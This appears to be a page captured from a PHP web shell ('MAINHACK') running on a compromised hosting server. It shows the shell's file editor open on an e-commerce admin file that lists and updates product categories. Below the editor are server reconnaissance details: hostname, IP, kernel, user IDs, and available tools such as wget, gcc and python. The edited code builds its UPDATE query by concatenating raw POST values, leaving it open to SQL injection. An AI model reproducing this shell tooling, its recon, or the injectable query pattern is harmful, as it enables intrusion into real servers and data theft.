[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: all_category.php
<?php include('header.php'); $show=new Oops($db); ?> <script src="tinymce/tinymce.min.js"></script> <script>tinymce.init({ selector:'textarea' });</script> <!-- page-wrapper --> <div id="page-wrapper"> <div class="main-page"> <div class="tables"> <!-- Form Elements --> <h3 class="title1">All Category</h3> <div class="panel-body widget-shadow"> <table class="table" id="example"> <thead> <tr> <th>ID</th> <th>Main Category</th> <th>Category</th> <th>HSN/SAC</th> <th>GST(%)</th> <th>Dlvry Chrg</th> <th>Edit/Delete</th> </tr> </thead> <tbody> <?php $count=1; $sr='category'; $stmt =$show->readAll($sr); $num = $stmt->rowCount(); if($num>0){ while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; echo "<tr> <td>$count</td> <td>".$row['main_category']."</td> <td>".$row['category']."</td> <td>".$row['hsn']."</td> <td>".$row['gst']."</td> <td>".$row['delivery_charge']."</td>"; ?> <div class="modal fade" id="myModal<?=$count?>" role="dialog"> <div class="modal-dialog"> <!-- Modal content--> <div class="modal-content"> <form method="post"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal">×</button> <h4 class="modal-title">Edit</h4> <span style="color:red;font-size:13px">Please Note: Changing name of category along with gst and other values will not reflect on existing products.New Product will take the updated values.</span> </div> <div class="modal-body" id=""> <input type="hidden" id="id<?=$count?>" value="<?=$row['id']?>" name="id<?=$count?>"> <label>Main Category</label> <select name="main_category<?=$count?>" id="main_category<?=$count?>" class="form-control" required> <option value="">Category</option> <?php $table1='main_category'; $stmt1=$show->readAll($table1); $num1=$stmt1->rowCount(); if($num>0){ while($row1=$stmt1->fetch(PDO::FETCH_ASSOC)){ echo "<option value='".$row1['main_category']."'";if($row1['main_category']==$row['main_category']) echo "selected"; else echo $row['main_category'];echo ">".$row1['main_category']."</option>"; } } ?> </select> <label>Category</label> <input type="text" class="form-control" name="category<?=$count?>" value="<?=$row['category']?>" id="category<?=$count?>"> <label>GST</label> <input type="text" class="form-control" id="gst<?=$count?>" name="gst<?=$count?>" value="<?=$row['gst']?>" placeholder="GST(Number only)"> <label>HSN/SAC</label> <input type="text" class="form-control" id="hsn<?=$count?>" value="<?=$row['hsn']?>" name="hsn<?=$count?>" placeholder="HSN/SAC"> <label>Delivery Charge</label> <input type="text" class="form-control" id="dl_ch<?=$count?>" value="<?=$row['delivery_charge']?>" name="dl_ch<?=$count?>" placeholder="Delivery Charge(Number Only)"> </div> <div class="modal-footer"> <input type="submit" name="sub<?=$count?>" value="Update" class="btn btn-success"> <button type="button" class="btn btn-default" data-dismiss="modal">Close</button> </div> </form> <?php $submit="sub".$count; $gst="gst".$count; $sub_cat="category".$count; $hsn="hsn".$count; $dl_ch="dl_ch".$count; $id="id".$count; $main_category="main_category".$count; if(isset($_POST[$submit])){ // echo "update category set gst=".$_POST[$gst].",hsn='".$_POST[$hsn]."',delivery_charge='".$_POST[$dl_ch]."' where id='".$_POST[$id]."'"; $sq=$con->prepare("update category set main_category='".htmlentities(strip_tags($_POST[$main_category]))."',category='".htmlentities(strip_tags($_POST[$sub_cat]))."',gst=".$_POST[$gst].",hsn='".$_POST[$hsn]."',delivery_charge='".$_POST[$dl_ch]."' where id='".$_POST[$id]."'"); if($sq->execute()){ echo "<script>sweetAlert('Ok','updated.','success');window.location.href='".$_SERVER['REQUEST_URI']."'</script>"; } }?> </div> </div> </div> <?php echo"<td> <button type='button' class='btn btn-xs btn-info' id='myModal".$count."' data-toggle='modal' data-target='#myModal".$count."'>Edit</button> <a href='delete.php?id=".$row['id']."&table=$sr&url=".$_SERVER['REQUEST_URI']."' class='label label-danger' onclick='return send();'>Delete</a> </td> </tr>"; ++$count; } } ?> </tbody> </table> </div> </div> <!-- End Form Elements --> </div> </div> <?php if(isset($_POST['sub'])){ $table="category"; $col="category"; $data=htmlspecialchars(trim($_POST['category'])); $r=$show->readwithdata($table,$col,$data); $num=$r->rowCount(); if($num>0){ echo "<script>sweetAlert('Oops','Category Exists','error');</script>"; }else{ $data=array( 'category'=>htmlentities(strip_tags($_POST['category'])), ); $r1=$show->insert('category',$data); if($r1){ echo "<script>sweetAlert('Ok','Category is added','success');</script>"; } } } ?> <script src="js/bootstrap-datepicker.js"></script> <script type="text/javascript"> // When the document is ready $(document).ready(function(){ $("#date").datepicker({ format: 'dd-mm-yyyy', }); }); </script> <!--footer--> <?php include('footer.php'); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.64 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619